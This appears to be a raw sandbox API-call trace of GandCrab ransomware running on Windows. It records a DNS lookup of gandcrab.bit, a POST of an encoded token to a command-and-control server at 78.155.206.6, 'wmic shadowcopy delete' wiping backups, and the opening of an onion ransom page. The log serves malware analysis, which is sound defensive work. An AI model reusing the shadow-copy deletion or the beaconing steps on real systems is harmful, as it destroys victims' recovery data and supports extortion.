(lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0310.873] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0310.873] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2700000 [0310.877] lstrlenW (lpString="") returned 0 [0310.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2710000 [0310.880] CreatePipe (in: hReadPipe=0x412b0c, hWritePipe=0x412b08, lpPipeAttributes=0x19f494, nSize=0x0 | out: hReadPipe=0x412b0c*=0x4ec, hWritePipe=0x412b08*=0x4f0) returned 1 [0310.880] SetHandleInformation (hObject=0x4ec, dwMask=0x1, dwFlags=0x0) returned 1 [0310.880] CreatePipe (in: hReadPipe=0x412b04, hWritePipe=0x412b10, lpPipeAttributes=0x19f494, nSize=0x0 | out: hReadPipe=0x412b04*=0x4b0, hWritePipe=0x412b10*=0x4c8) returned 1 [0310.880] SetHandleInformation (hObject=0x4c8, dwMask=0x1, dwFlags=0x0) returned 1 [0310.880] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f3e4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4b0, hStdOutput=0x4f0, hStdError=0x4f0), lpProcessInformation=0x19f428 | out: lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessInformation=0x19f428*(hProcess=0x4d4, hThread=0x4d0, dwProcessId=0x924, dwThreadId=0xaf4)) returned 1 [0310.886] CloseHandle (hObject=0x4d4) returned 1 [0310.886] CloseHandle (hObject=0x4d0) returned 1 [0310.886] ReadFile (in: hFile=0x4ec, lpBuffer=0x19e47c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f47c, lpOverlapped=0x0 | out: lpBuffer=0x19e47c*, lpNumberOfBytesRead=0x19f47c*=0x93, lpOverlapped=0x0) returned 1 [0313.549] lstrlenA (lpString="Address:") returned 8 [0313.549] lstrcpyA (in: lpString1=0x2710000, lpString2="78.155.206.6" | out: lpString1="78.155.206.6") returned="78.155.206.6" [0313.549] lstrcmpiA (lpString1="78.155.206.6", lpString2="127.0.0.1") returned 1 [0313.549] wsprintfW (in: param_1=0x2700000, param_2="%S" | out: param_1="78.155.206.6") returned 12 [0313.549] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0313.553] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 272 [0313.553] VirtualAlloc (lpAddress=0x0, dwSize=0x621, flAllocationType=0x3000, flProtect=0x40) returned 0x2710000 [0313.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x2720000 [0313.558] lstrcatA (in: lpString1="", lpString2="data=" | out: lpString1="data=") returned="data=" [0313.558] lstrcatA (in: lpString1="data=", lpString2="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G" | out: lpString1="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G" [0313.558] lstrlenA (lpString="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 277 [0313.558] lstrcpyW (in: lpString1=0x19f4b8, lpString2="curl.php?token=" | out: lpString1="curl.php?token=") returned="curl.php?token=" [0313.558] VirtualAlloc (lpAddress=0x0, dwSize=0x404, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0313.561] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2730000, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0313.561] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c [0313.561] CreateFileMappingW (hFile=0x45c, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x4d0 [0313.561] MapViewOfFile (hFileMappingObject=0x4d0, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x27a0000 [0313.564] lstrlenW (lpString="curl.php?token=") returned 15 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] lstrlenA (lpString="1019") returned 4 [0313.564] UnmapViewOfFile (lpBaseAddress=0x27a0000) returned 1 [0313.564] CloseHandle (hObject=0x4d0) returned 1 [0313.564] CloseHandle (hObject=0x45c) returned 1 [0313.564] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0313.567] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0313.567] lstrlenA (lpString="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRL3mFkUlpzni9m43rGbQRqp6Hd8P6/u0uFEQXxov+Mwb0mfydf76HKPbK1MHfmYYPYGBPuUXpcpvqK0s7FQioqN7Cik5axyuoCiwO0YFMnnEyMJFAvJwgCNYq75kD7wRKXVymKxKILAj0RwfZZqaxPpg7BRfn/R5cV6aH5OMvOuzTqpYX0l3fyaob1PG3nrkOVLproTGXR1qnsZlWrWk2G") returned 277 [0313.567] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0313.567] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0313.567] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.155.206.6", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0313.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0313.570] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="curl.php?token=1019") returned 19 [0313.570] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="curl.php?token=1019", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0313.570] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2710000*, dwOptionalLength=0x115 | out: lpOptional=0x2710000*) returned 1 [0315.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f47c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f47c*=0x9) returned 1 [0315.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f47c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f47c*=0x0) returned 1 [0315.938] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0315.940] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0315.940] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.943] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.946] VirtualFree (lpAddress=0x2720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.949] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.952] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0315.952] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.954] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.957] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0315.957] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0315.959] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fdf8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fe00 | out: pSid=0x19fe00*=0x5be540*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0315.961] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74c90000 [0315.964] GetProcAddress (hModule=0x74c90000, lpProcName="CheckTokenMembership") returned 0x74caf8d0 [0315.964] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x5be540*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19fe04 | out: IsMember=0x19fe04) returned 1 [0315.964] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0315.964] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0315.964] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0315.964] VerifyVersionInfoW (in: lpVersionInformation=0x19fc18, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x19fc18) returned 1 [0315.964] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x1d0000 [0315.967] GetSystemDirectoryW (in: lpBuffer=0x1d0000, uSize=0x100 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0315.967] lstrcatW (in: lpString1="C:\\Windows\\system32", lpString2="\\wbem\\wmic.exe" | out: lpString1="C:\\Windows\\system32\\wbem\\wmic.exe") returned="C:\\Windows\\system32\\wbem\\wmic.exe" [0315.967] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\Windows\\system32\\wbem\\wmic.exe", lpParameters="shadowcopy delete", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0316.082] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0316.085] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x1d0000 [0316.087] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d0000, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0316.087] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0316.087] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0316.087] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0316.087] VerifyVersionInfoW (in: lpVersionInformation=0x19f630, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x19f630) returned 1 [0316.087] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f740, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f748 | out: pSid=0x19f748*=0xbb5a188*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0316.090] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74c90000 [0316.092] GetProcAddress (hModule=0x74c90000, lpProcName="CheckTokenMembership") returned 0x74caf8d0 [0316.116] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xbb5a188*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19f74c | out: IsMember=0x19f74c) returned 1 [0316.116] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0316.120] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) returned 0x1f [0318.485] VirtualFree (lpAddress=0x350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0318.488] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0318.491] ExitProcess (uExitCode=0x0) [0318.819] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 189 os_tid = 0x2c0 Thread: id = 190 os_tid = 0x248 [0157.806] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0157.806] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0157.806] LoadIconW (hInstance=0x400000, lpIconName=0x7f00) returned 0x0 [0157.806] RegisterClassExW (param_1=0x1f7ff34) returned 0xc141 [0157.806] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0157.806] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0157.806] CreateWindowExW (dwExStyle=0x0, lpClassName="win32app", lpWindowName="firefox", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=5, nHeight=5, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x6014c [0157.811] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x24, wParam=0x0, lParam=0x1f7fab4) returned 0x0 [0157.811] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x81, wParam=0x0, lParam=0x1f7faa8) returned 0x1 [0157.813] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x83, wParam=0x0, lParam=0x1f7fa94) returned 0x0 [0157.816] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x1, wParam=0x0, lParam=0x1f7faa8) returned 0x0 [0157.817] SetWindowLongW (hWnd=0x6014c, nIndex=-16, dwNewLong=0) returned 80674816 [0157.817] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7c, wParam=0xfffffff0, lParam=0x1f7fecc) returned 0x0 [0157.817] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7d, wParam=0xfffffff0, lParam=0x1f7fecc) returned 0x0 [0157.819] ShowWindow (hWnd=0x6014c, nCmdShow=5) returned 0 [0157.819] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0157.819] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x46, wParam=0x0, lParam=0x1f7fef4) returned 0x0 